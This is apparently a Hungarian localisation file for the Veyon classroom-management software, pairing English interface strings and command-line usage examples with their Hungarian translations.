objektum exportálása CSV fájlba: + + %1 export objektumok.csv format "%type%;%name%;%host%;%mac%" + +* Egy szoba összes számítógépének exportálása CSV fájlba: + + %1 export 01SzobaSzamitogepei.csv room "01 szoba" format "%name%;%host%;%mac%" + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + +HASZNÁLATA + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Egy objektumot ad hozzá, ahol a típus (TYPE) lehet "%2" vagy "%3". A szülő (PARENT) megadható névvel vagy UUID-vel. + +Példák: + +* Egy szoba hozzáadása: + + %1 add room "Szoba 01" + +* Egy számítógép hozzáadása a "Szoba 01" szobához: + + %1 add computer "Számítógép 01" pc01.pelda.hu 11:22:33:44:55:66 "Szoba 01" + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + +HASZNÁLATA + +%1 remove <OBJECT> + +Eltávolítja a kiválasztott objektumot a mappából. Az objektum (OBJECT) megadható névvel vagy UUID-vel. Egy szoba eltávolítása a benne lévő összes számítógépet is eltávolítja. + +Példák: + +* Számítógép eltávolítása név alapján: + + %1 remove "Számítógép01" + +* Objektum eltávolítása UUID alapján: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + Object UUID + Objektum UUID + + + Parent UUID + Szülő UUID + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + +HASZNÁLATA + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Használható változók: %type% %name% %host% %mac% %room% + +Példák: + +* Egy egyszerű CSV fájl importálása egy egyszerű szobába: + + %1 import szamitogepek.csv room "Szoba 01" format "%name%;%host%;%mac%" + +* Az első oszlopban a szobát tartalmazó CSV fájl importálása: + + %1 import szamitogepekSzobakkal.csv format "%room%,%name%,%mac%" + +* Reguláris kifejezések megadott kulcs/érték párokat tartalmazó TXT fájl importálása: + + %1 import kiszolgaloLista.txt room "01 Szoba" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Önkényesen formázott adatok importálása: + + %1 import adat.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + Beépített VNC szerver (UltraVNC) + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + Beépített VNC szerver (x11vnc) + + + + ComputerControlListModel + + Room: %1 + Szoba: %1 + + + Host/IP address: %1 + Kiszolgáló/IP cím: %1 + + + Active features: %1 + Aktív szolgáltatások: %1 + + + Online and connected + Online és sikeren csatlakozott + + + Establishing connection + Kapcsolat létesítése + + + Computer offline or switched off + A számítógép nincs hálózaton vagy kikapcsolták + + + Service unreachable or not running + A szolgáltatás nem érhető el vagy jelenleg nem fut + + + Authentication failed or access denied + A hitelesítés sikertelen vagy a hozzáférés nem engedélyezett + + + Disconnected + Kapcsolat megszakadt + + + No user logged on + Egy felhasználó sem jelentkezett be + + + Logged on user: %1 + Bejelentkezett felhasználó: %1 + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + %1 szolgáltatás %2, 3%:%4 + + + Authentication error + Hitelesítési hiba + + + Remote access + Távoli elérés + + + User "%1" at host "%2" is now accessing this computer. + "%1" felhasználó "%2" kiszolgálóról éppen most eléri ezt a számítógépet. + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + "%1%" felhasználó "%2" kiszolgálóról megpróbálta eléri ezt a számítógépet, de nem sikerült hitelesítenie magát! + + + + ComputerManagementView + + Computer management + Számítógép-kezelés + + + Add room + Szoba hozzáadása + + + Save computer/user list + Számítógép-/felhasználólista mentése + + + Select output filename + Válassz kimeneti fájlnevet + + + CSV files (*.csv) + CSV fájlok (*.csv) + + + File error + Fájlhiba + + + Could not write the computer and users list to %1! Please check the file access permissions. + Nem sikerült a számítógép- és a felhasználólista kiírása ide: %1. Ellenőrizd a hozzáférési jogosultságaidat. + + + Computer search + Számítógép keresése + + + + ComputerManager + + User + Felhasználó + + + Missing network object directory plugin + Hiányzik a hálózatobjektummappa-bővítmény + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + Hiányzik az alapértelmezett hálózatobjektummappa-bővítmény. Ellenőrizd telepítésed vagy állítsd be egy másik hálózatobjektummappa-hátteret "%1" Konfigurátorral. + + + Computer name;Host name;User + Számítógépnév;Kiszolgálónév;Felhasználó + + + Room detection failed + Szoba felismerése sikertelen + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + Nem sikerült azt a szobát felismerni, amelyikhez a számítógép tartozik. Ez a rendszer hibás konfigurálására utal. Ehelyett a számítógép-kezelésben az összes szobát megjelentjük. + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + Létező konfigurációs fájlt adj meg importáláshoz. + + + Please specify a valid filename for the configuration export. + Valós fájlnevet adj meg a konfiguráció exportálásához. + + + Please specify a valid key. + Valós kulcsot adj meg. + + + Specified key does not exist in current configuration! + A megadott kulcs nem létezik a jelenlegi konfigurációban! + + + Please specify a valid value. + Kérem, valós értéket adj meg. + + + Configure Veyon at command line + Veyon konfigurálása parancssorból + + + Output file is not writable! + Kimeneti fájl nem írható! + + + Output directory is not writable! + Kimeneti könyvtár nem írható! + + + Configuration file is not readable! + Konfigurációs fájl nem olvasható! + + + Clear system-wide Veyon configuration + Az egész rendszerre kiterjedő Veyon konfiguráció törlése + + + List all configuration keys and values + Összes konfigurációs kulcs és és értékének felsorolása + + + Import configuration from given file + Konfiguráció importálása adott fájlból + + + Export configuration to given file + Konfiguráció exportálása adott fájlba + + + Read and output configuration value for given key + Adott kulcs konfigurációs értékének olvasása és kimenete + + + Write given value to given configuration key + Adott érték írása adott konfigurációs kulcsba + + + Unset (remove) given configuration key + Adott konfigurációs kulcs kikapcsolása (eltávolítása) + + + Commands for managing the configuration of Veyon + Veyon konfigurálásához parancsok + + + Upgrade and save configuration of program and plugins + A program és bővítmények frissítése és konfigurációjuk mentése + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + Nem módosítható %1 szolgáltatás automatikusan induló tulajdonsága. + + + Could not configure the firewall configuration for the %1 Server. + Nem sikerült %1 szerver tűzfalbeállításait konfigurálni. + + + Could not configure the firewall configuration for the %1 Worker. + Nem sikerült %1 munkás tűzfalbeállításait konfigurálni. + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + SAS generáció beállítását szoftverrel nem sikerült módosítani. Ctrl+Alt+Del küldése távoli vezérlésről nem fog működni. + + + Configuration is not writable. Please check your permissions! + A konfiguráció nem írható. Kérem, ellenőrizd a jogosultságaidat. + + + + DemoClient + + %1 Demo + %1 demó + + + + DemoConfigurationPage + + Demo server + Demószerver + + + Tunables + Hangolhatók + + + ms + ms + + + Key frame interval + Kulcskeret intervallum + + + Memory limit + Memóriakorlát + + + Use multithreading (experimental) + Többszálúság használata (kísérleti) + + + MB + MB + + + Update interval + Frissítési időköz + + + s + mp + + + + DemoFeaturePlugin + + Fullscreen demo + Teljes képernyős demó + + + Stop demo + Demó leállítása + + + Window demo + Ablakban futó demó + + + Give a demonstration by screen broadcasting + Bemutató megjelenítése képernyőbroadcasttal + + + Demo server + Demószerver + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + Ebben a módban a képernyőd az összes számítógépén teljes képernyőn jelenik meg, ezalatt a felhasználók bemeneti eszközeit blokkoljuk. + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + Ebben a módban a képernyőd az összes számítógépen ablakban jelenik meg. A felhasználók eközben ablakot tudnak váltani. + + + + DesktopAccessDialog + + Desktop access dialog + Asztal-hozzáférés párbeszédablaka + + + Confirm desktop access + Asztal-hozzáférés megerősítése + + + Never for this session + Ennek a munkamenetnek semmikor + + + Always for this session + Ennek a munkamenetnek mindig + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + %1 felhasználó %2 számítógéptől próbálja elérni az asztalodat. Engedélyezel számára hozzáférést? + + + + DesktopServicesConfigurationPage + + Programs & websites + Programok és weboldalak + + + Predefined programs + Előre definiált programok + + + Name + Megnevezés + + + Path + Útvonal + + + Add new program + Új program hozzáadása + + + Remove selected program + Kiválasztott program eltávolítása + + + Predefined websites + Előre definiált weboldal + + + Remove selected website + Kiválasztott weboldal eltávolítása + + + URL + URL + + + New program + Új program + + + New website + Új weboldal + + + + DesktopServicesFeaturePlugin + + Run program + Program futtatása + + + Open website + Weboldal megnyitása + + + Click this button to open a website on all computers. + Kattints erre a gombra, hogy az összes számítógépen megnyíljon egy weboldal. + + + Please enter the URL of the website to open: + Kérem, adja meg a megnyitandó weboldal URL-jét: + + + Start programs and services in user desktop + Programok és szolgáltatások indítása a felhasználó asztalon + + + Click this button to run a program on all computers. + Kattints erre a gombra, hogy egy programot futtass az összes számítógépen. + + + Run program "%1" + "%1" program futtatása + + + Custom program + Egyéni program + + + Open website "%1" + "%1" weboldal megnyitása + + + Custom website + Egyéni weboldal + + + + ExternalVncServer + + External VNC server + Külső VNC szerver + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + Külső VNC szerver konfiguráció + + + Port: + Port: + + + Password: + Jelszó: + + + + FeatureControl + + Feature control + Szolgáltatásvezérlés + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + "%1" fájl nem nyitható meg olvasásra. Kérem, ellenőrizd a jogosultságaidat. + + + + FileTransferDialog + + File transfer + Fájlátvitel + + + Options + Lehetőség + + + Transfer only + Csak átvitel + + + Transfer and open file(s) with associated program + Átvitel és a fájl(ok) megnyitása a társított programmal + + + Transfer and open destination folder + Átvitel és a célmappa megnyitása + + + Files + Fájlok + + + Start + Indítás + + + Overwrite existing files + Fájlok felülírása + + + + FileTransferPlugin + + File transfer + Fájlátvitel + + + Click this button to transfer files from your computer to all computers. + Kattints erre gombra, hogy számítógépedről fájlokat küld át az összes számítógépre. + + + Select one or more files to transfer + Válasszon ki egy vagy több fájlt az átvitelhez + + + Transfer files to remote computer + Fájlok átvitele távoli számítógépre + + + Received file "%1". + "%1" fájl fogadva. + + + Could not receive file "%1" as it already exists. + "%1" fájl nem fogadható, mert már létezik. + + + Could not receive file "%1" as it could not be opened for writing! + "%1" fájl nem fogadható, mert nem nyitható meg írásra! + + + + GeneralConfigurationPage + + User interface + Felhasználói felület + + + Language: + Nyelv: + + + Use system language setting + Rendszernyelv beállításának használata + + + Veyon + Veyon + + + Logging + Naplózás + + + Log file directory + Naplófájl mappája + + + ... + ... + + + Log level + Naplózás szintje + + + Nothing + Semmi + + + Only critical messages + Csak kritikus üzenetek + + + Errors and critical messages + Hibák és kritikus üzenetek + + + Warnings and errors + Figyelmeztetések és hibák + + + Information, warnings and errors + Információk, figyelmeztetések és hibák + + + Debug messages and everything else + Hibakeresési üzenetek és minden egyéb + + + Limit log file size + Naplófájl méretének korlátozása + + + Clear all log files + Összes naplófájl törlése + + + Log to standard error output + Naplózás standard hibakimenetre + + + Network object directory + Hálózatobjektum-mappa + + + Backend: + Háttér: + + + Update interval: + Frissítési időköz: + + + %1 service + %1 szolgáltatás + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + %1 szolgáltatást ideiglenesen le kell állítani, hogy a naplófájlokat eltávolíthassuk. Biztos, hogy folytatod? + + + Log files cleared + Naplófájlokat sikeresen törölted + + + All log files were cleared successfully. + Az összes naplófájlt sikeresen törölted. + + + Error + Hiba + + + Could not remove all log files. + Nem sikerült az összes naplófájl törlése. + + + MB + MB + + + Rotate log files + Naplófájlok rotálása + + + x + x + + + seconds + másodpercek + + + Write to logging system of operating system + Írás az operációs rendszer naplózási rendszerébe + + + Authentication + Hitelesítés + + + Method: + Módszer: + + + Logon authentication + Bejelentkezési hitelesítés + + + Key file authentication + Kulcsfájl hitelesítés + + + + InternetAccessControlConfigurationPage + + Internet access control + Internethozzáférés-vezérlés + + + Backend: + Háttér: + + + General settings + Általános beállítások + + + Backend settings + Háttér beállításai + + + + InternetAccessControlPlugin + + Block access to the internet + Internet-hozzáférés blokkolása + + + Allow access to the internet + Internet-hozzáférés engedélyezése + + + Show help about command + Parancsról segítség megjelenítése + + + Block internet + Internet blokkolása + + + Click this button to block access to the internet. + Az internet-hozzáférés blokkolásához kattintson erre a gombra. + + + Unblock internet + Internet blokkolásának feloldása + + + Click this button to allow access to the internet. + Az internet-hozzáférés engedélyezéséhez kattintson erre a gombra. + + + Control access to the internet + Internethozzáférés-vezérlés + + + Commands for controlling access to the internet + Internethozzáférés-vezérlés parancsai + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + LDAP hiba leírása: %1 + + + No LDAP error description available + LDAP hiba leírása nem érhető el + + + + LdapConfigurationPage + + LDAP + LDAP + + + Basic settings + Alapbeállítások + + + General + Általános + + + LDAP server and port + LDAP szerver és port + + + Bind DN + Kötés DN-je + + + Bind password + Kötés jelszava + + + Anonymous bind + Névtelen kötés + + + Use bind credentials + Kötéshitelesítés használata + + + Test + Tesztelés + + + Base DN + Alap DN + + + Fixed base DN + Fixált alap DN + + + e.g. dc=example,dc=org + például dc=valami, dc=hu + + + Discover base DN by naming context + Alap DN felfedezése névmeghatározással + + + e.g. namingContexts or defaultNamingContext + például namingContexts vagy defaultNamingContext + + + Environment settings + Környezeti beállítások + + + Object trees + Objektumfák + + + Computer tree + Számítógépfák + + + e.g. OU=Groups + például OU=Csoportok + + + User tree + Felhasználófa + + + e.g. OU=Users + például OU=Felhasználók + + + e.g. OU=Computers + például OU=Számítógépek + + + Group tree + Számítógépfa + + + Perform recursive search operations in object trees + Rekurzív keresési műveletek az objektumfákban + + + Object attributes + Objektum attribútumok + + + e.g. hwAddress + például hwAddress + + + Computer host name attribute + Számítógép kiszolgálónév attribútuma + + + e.g. member or memberUid + például member vagy memberUid + + + User login attribute + Felhasználó bejelentkezés attribútuma + + + e.g. dNSHostName + például dNSHostName + + + Computer MAC address attribute + Számítógép fizikai címének attribútuma + + + Group member attribute + Csoporttagság attribútumok + + + e.g. uid or sAMAccountName + például uid vagy sAMAccountName + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + A kiszolgálónevet a teljesen minősített domain névként tároljuk (FQDN, például szerver.cegem.hu) + + + Advanced settings + Haladó beállítások + + + Optional object filters + Opcionális objektumszűrő + + + Filter for user groups + Felhasználói csoportok szűrője + + + Filter for users + Felhasználók szűrője + + + Filter for computer groups + Számítógépcsoportok szűrője + + + Group member identification + Csoporttagság azonosítója + + + Distinguished name (Samba/AD) + Megkülönböztetett név (Samba/AD) + + + Configured attribute for user login or computer host name (OpenLDAP) + Felhasználó bejelentkezéshez vagy számítógép kiszolgálónevéhez attribútum konfigurálása (OpenLDAP) + + + List all groups of a user + Egy felhasználó összes csoportjának felsorolása + + + List all groups of a computer + Egy számítógép összes csoportjának felsorolása + + + Get computer object by IP address + Számítógép-objektumok előállítása IP címek alapján + + + LDAP connection failed + LDAP kapcsolat sikertelen + + + LDAP bind failed + LDAP kötés sikertelen + + + LDAP bind successful + LDAP kötés sikerült + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + Sikeresen csatlakoztunk az LDAP szerverhez, és létrejött az LDAP kötés. Az LDAP alapszintű beállításai helyesek. + + + LDAP base DN test failed + LDAP alap DN teszt sikertelen + + + LDAP base DN test successful + LDAP alap DN teszt sikeres + + + LDAP naming context test failed + LDAP névmeghatározási teszt sikertelen + + + LDAP naming context test successful + LDAP névmeghatározási tesztje sikerült + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + Az LDAP névmeghatározását sikeresen lekérdeztük. A következő alap DN-t találtuk: +%1 + + + user tree + felhasználófa + + + group tree + csoportfa + + + computer tree + számítógépfa + + + Enter username + Felhasználónév + + + Please enter a user login name (wildcards allowed) which to query: + Kérem, add meg a bejelentkezési felhasználónevet (helyettesítő karakterek megengedettek), melyeket lekérdezel: + + + user objects + felhasználói objektumok + + + user login attribute + felhasználó bejelentkezési attribútuma + + + Enter group name + Adja meg a csoport nevét + + + Please enter a group name whose members to query: + Kérem, add meg a csoport nevét, amely tagjait lekérdezed: + + + group members + csoporttagok + + + group member attribute + csoporttag attribútuma + + + Group not found + Csoport nem találgató + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + "1%" nevű csoport nem található. Kérem, ellenőrizd a csoport nevét vagy a csoportfa paramétert. + + + Enter computer name + Add meg a számítógép nevét + + + Please enter a computer host name to query: + Kérem, add meg a számítógép kiszolgálónevét, melyet lekérdezel: + + + Invalid host name + Érvénytelen kiszolgálónév + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + Úgy konfiguráltad a rendszert, hogy az a számítógép kiszolgálónevét teljesen minősített domainnévként (FQDN) tárolja, de a kiszolgálónevet domain nélkül kell megadni. + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + Úgy konfiguráltad a rendszert, hogy az a számítógép kiszolgálónevét domain nélküli egyszerű névként tárolja, de a kiszolgálónevet domain nélkül kell megadni. + + + computer objects + számítógép-objektumok + + + computer host name attribute + számítógép kiszolgálónevének attribútuma + + + Enter computer DN + Add meg a számítógép DN-t + + + Please enter the DN of a computer whose MAC address to query: + Kérem, add meg a számítógép DN-jét, mely fizikai címét lekérdezed: + + + computer MAC addresses + számítógép fizikai címei + + + computer MAC address attribute + számítógép fizikai címének attribútuma + + + users + felhasználók + + + user groups + felhasználói csoportok + + + computer groups + számítógépcsoportok + + + Please enter a user login name whose group memberships to query: + Kérem, add meg a felhasználó bejelentkezési nevét, akinek csoporttagságait lekérdezed: + + + groups of user + felhasználó csoportjai + + + user login attribute or group membership attribute + felhasználói bejelentkezés attribútum vagy csoporttagság attribútum + + + User not found + Felhasználó nem található + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + "%1" nevű felhasználó nem található. Kérem, ellenőrizd a felhasználónevet vagy a felhasználó-fa paramétert. + + + Enter host name + Add meg a kiszolgálónevet + + + Please enter a computer host name whose group memberships to query: + Kérem, add meg a számítógép kiszolgálónevét, melynek csoporttagságait lekérdezed: + + + groups of computer + számítógép csoportjai + + + computer host name attribute or group membership attribute + számítógép kiszolgálónevének vagy csoporttagság attribútuma + + + Computer not found + Számítógép nem található + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + "%1" nevű kiszolgálónevű számítógép nem található. Kérem, ellenőrizd a kiszolgálónevet vagy a számítógépfa paramétert. + + + Enter computer IP address + Add meg a számítógép IP címét + + + Please enter a computer IP address which to resolve to an computer object: + Kérem, add meg a számítógép IP címét, melyet számítógép-objektummá keressünk vissza: + + + Host name lookup failed + Kiszolgálónév keresése sikertelen + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + %1 IP címhez nem sikerült lekérdezni a kiszolgálónevet. Kérem, ellenőrizd a DNS szerver beállításait. + + + computers + számítógépek + + + LDAP %1 test failed + %1 LDAP teszt sikertelen + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + Egy bejegyzést sem sikerült lekérdezni %1 konfigurációban. Kérem, ellenőrizd %1 paramétert. + +%2 + + + LDAP %1 test successful + %1 LDAP teszt sikeres + + + The %1 has been queried successfully and %2 entries were found. + %1 objektum lekérdezése sikeres, %2 jegyezést találtunk. + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + Egy %1 objektumot sem sikerült lekérdezni. Kérem, ellenőrizd %2 paramétert vagy add meg már létező objektum nevét. + +%3 + + + %1 %2 have been queried successfully: + +%3 + %1 %2 lekérdezés sikeres: + +%3 + + + LDAP filter test failed + LDAP szűrő teszt sikertelen + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + A konfigurált szűrővel egy %1 objektumot sem sikerült lekérdezni. Kérem, ellenőrizd %1 LDAP szűrőt. + +%2 + + + LDAP filter test successful + LDAP szűrő teszt sikeres + + + %1 %2 have been queried successfully using the configured filter. + %1 %2-t sikeresen lekérdezted a a konfigurált szűrő használatával. + + + (only if different from group tree) + (csak ha eltér csoportfától) + + + Computer group tree + Számítógépcsoport-fa + + + computer group tree + számítógépcsoport-fa + + + Filter for computers + Számítógépek szűrője + + + e.g. room or computerLab + például szoba vagy számítógépLabor + + + List all members of a computer room + Egy számítógépterem összes tagját felsorolja + + + List all computer rooms + Összes számítógépterem felsorolása + + + Enter computer room name + Add meg a számítógépterem nevét + + + Please enter the name of a computer room (wildcards allowed): + Kérem, add meg egy számítógépterem nevét (helyettesítő karakterek megengedettek): + + + computer rooms + számítógéptermek + + + computer room attribute + számítógépterem attribútuma + + + Please enter the name of a computer room whose members to query: + Kérem, add meg annak a számítógépterem nevét, melynek tagjait lekérdezed: + + + computer room members + számítógépterem tagjai + + + computer group filter or computer room member aggregation + számítógépcsoport szűrője vagy számtógépterem tag aggregációja + + + Computer rooms + Számítógéptermek + + + Integration tests + Integrációs tesztek + + + Computer room attribute + Számítógépterem attribútuma + + + Aggregate computers in a room via: + Számítógépek aggregálása egy szobába: + + + Computer groups + Számítógépcsoportok + + + Computer room attribute in computer objects + Számítógépterem attribútuma számítógép-objektumokban + + + Test not applicable + Teszt nem alkalmazható + + + Computer room name attribute + Számítógépterem nevének attribútuma + + + e.g. name or description + például név vagy leírás + + + Filter for computer containers + Számító géptároló szűrője + + + Computer containers or OUs + Számítógép tárolók vagy szervezeti egységek + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + Kérem, cseréld a számítógépterem beállításait, hogy a számítógép-csoportokat vagy a számítógép tárolókat használhassuk számítógéptermekként. Ezután a meghatározott attribútumot kérdezzük le a számítógép-csoportok, illetve a tárolóobjektumok neve helyett. Egyéb esetben nem szükséges ennek az attribútumnak a konfigurálása. + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + Kérem, cseréld a számítógépterem beállításait alább, hogy a számítógép tárolókat használhassuk számítógéptermekként. Egyéb esetben nem szükséges ennek a szűrőnek konfigurálása. + + + Connection security + Csatlakozási biztonság + + + TLS certificate verification + TLS tanúsítványhitelesítés + + + System defaults + Rendszer alapértelmezett értékei + + + Never (insecure!) + Semmikor (nem biztonságos!) + + + Custom CA certificate file + Egyéni CA tanúsítványfájl + + + None + Egyik sem + + + TLS + TLS + + + SSL + SSL + + + e.g. (objectClass=computer) + például (objectClass=computer) + + + e.g. (objectClass=group) + például (objectClass=group) + + + e.g. (objectClass=person) + például (objectClass=person) + + + e.g. (objectClass=room) or (objectClass=computerLab) + például (objectClass=szoba) vagy (objectClass=számítógépLabor) + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + például (objectClass=container) vagy (objectClass=organizationalUnit) + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + Nem sikerült lekérdezni az konfigurált alap DN-t. Kérem, ellenőrizd az alap DN paramétert. + +%1 + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + Az LDAP alap DN-t sikeresen lekérdeztük. Az alábbi bejegyzéseket találtuk: + +%1 + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + Nem sikerült elnevezési kontextusokból lekérdezni az alap DN-t. Kérem, ellenőrizd az elnevezési kontextusok attribútuma paramétert. + +%1 + + + Certificate files (*.pem) + Tanúsítványfájlok (*.pem) + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + Nem sikerült kapcsolódni az LDAP szerverhez. Kérem, ellenőrizd a szerver paramétereit. + +%1 + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + Nem sikerült kötést létrehozni a LDAP szerverrel. Kérem, ellenőrizd a szerver paramétereit és a kötést hitelesítő adatokat. + +%1 + + + Encryption protocol + Titkosítási protokoll + + + + LdapPlugin + + Auto-configure the base DN via naming context + Alap DN automatikus konfigurálása névmeghatározással + + + Query objects from LDAP directory + Objektumok lekérdezése LDAP könyvtárból + + + Show help about command + Parancsról segítség megjelenítése + + + Commands for configuring and testing LDAP/AD integration + LDAP/AD integráció konfigurálásának és tesztelésének parancsai + + + Provide LDAP/AD integration for Veyon + LDAP/AD integráció biztosítás a Veyon számára + + + LDAP (load computers and rooms from LDAP/AD) + LDAP (számítógépek és szobák betöltése LDAP/AD-ból) + + + LDAP (load users and groups from LDAP/AD) + LDAP (felhasználók és csoportok betöltése LDAP/AD-ból) + + + + LicensingConfigurationPage + + Licensing + Licencelés + + + Installed licenses + Telepített licencek + + + Add new network range + Új hálózati tartomány hozzáadása + + + Remove selected network range + Kiválasztott hálózati tartomány eltávolítása + + + ID + ID + + + Feature + Szolgáltatás + + + Valid until + Érvényes eddig + + + Licensee + Licencelő + + + Browse license file + Licencfájlok böngészése + + + Veyon license files (*.vlf) + Veyon licencfájlok (*.vlf) + + + Remove license + Licenc eltávolítása + + + Do you really want to remove the selected license? + Biztos, hogy eltávolítod a kiválasztott licenceket? + + + <N/A> + <N/A> + + + Invalid license file + Érvénytelen licencfájlok + + + Could not open the license file for reading! + A licencfájl nem nyitható meg olvasásra! + + + The selected license file does not contain valid data. + A kiválasztott licencfájl nem tartalmaz érvényes adatot. + + + The selected license file could not be verified. + A kiválasztott licencfájl nem ellenőrizhető. + + + The selected license file is not valid for this installation. + A kiválasztott licencfájl nem érvényes ehhez a telepítéshez. + + + The selected license file is expired. + A kiválasztott licencfájl lejárt. + + + The license is already installed. + A licencet már telepítették. + + + + LicensingPlugin + + Show help for specific command + Konkrét parancsról segítség megjelenítése + + + Show all installed licenses + Az összes telepített licenc megjelenítése + + + Add license file + Licencfájlok hozzáadása + + + Remove installed license + Telepített licencek eltávolítása + + + +USAGE + +%1 add <LICENSE FILE> + + + +HASZNÁLAT + +%1 add <LICENSE FILE> + + + + + +USAGE + +%1 remove <LICENSE ID> + + + +HASZNÁLAT + +%1 remove <LICENSE ID> + + + + + No certificate found with given ID + A megadott ID-vel nem található tanúsítvány + + + <N/A> + <N/A> + + + Licensing management + Licenckezelése + + + Commands for managing license keys + Licenckulcs-kezelési parancsok + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + A bővítmény absztrakt függvényekkel egészíti ki a Linux platformot + + + + MainToolBar + + Configuration + Konfiguráció + + + Disable balloon tooltips + Buborék-eszköztippek kikapcsolása + + + Show icons only + Csak az ikonok megjelenítése + + + + MainWindow + + MainWindow + Fő ablak + + + toolBar + Eszköztár + + + General + Általános + + + &File + &Fájl + + + &Help + &Súgó + + + &Quit + &Kilépés + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + Beállítások be&töltése fájlból + + + Ctrl+O + Ctrl+O + + + About Qt + Qt névjegye + + + Authentication impossible + Hitelesítés nem lehetséges + + + Configuration not writable + Konfiguráció nem írható + + + Load settings from file + Beállítások betöltése fájlból + + + Save settings to file + Beállítások mentése fájlba + + + Unsaved settings + El nem mentett beállítások + + + There are unsaved settings. Quit anyway? + Vannak el nem mentett beállítások. Ennek ellenére kilépsz? + + + Veyon Configurator + Veyon Konfigurátor + + + Service + Szolgáltatás + + + Master + Mester + + + Access control + Hozzáférés-vezérlés + + + About Veyon + Veyon-ról + + + Auto + Automatikus + + + Computer rooms + Számítógéptermek + + + About + Névjegy + + + %1 Configurator %2 + %1 Konfigurátor %2 + + + JSON files (*.json) + JSON fájlok (*.json) + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + A helyi konfiguráció háttere azt jelzi, hogy a konfiguráció nem írható. Futtasd %1 Konfigurátort magasabb jogosultságokkal. + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + Nincsenek hitelesítési kulcsok vagy a jelenlegi kulcsok elavultak. Kérem, készíts új kulcsfájlokat %1 Konfigurátorral. Másik megoldás lehet bejelentkezési hitelesítés beállítása %1 Konfigurátorral. Különben nem tudod majd elérni a számítógépeket %1 használatával. + + + Access denied + Hozzáférés megtagadva + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + A helyi konfiguráció alapján nincs jogosultságod elérni a a hálózatban lévő számítógépeket. Kérem, jelentkezz be másik felhasználói fiókkal vagy kérd meg a rendszer üzemeltetőjét, hogy ellenőrizze a helyi konfigurációt. + + + Screenshots + Képernyőképek + + + Feature active + Aktív szolgáltatás + + + The feature "%1" is still active. Please stop it before closing %2. + "%1" szolgáltatás még aktív. Kérem, állítsa le, mielőtt %2-t bezárja + + + 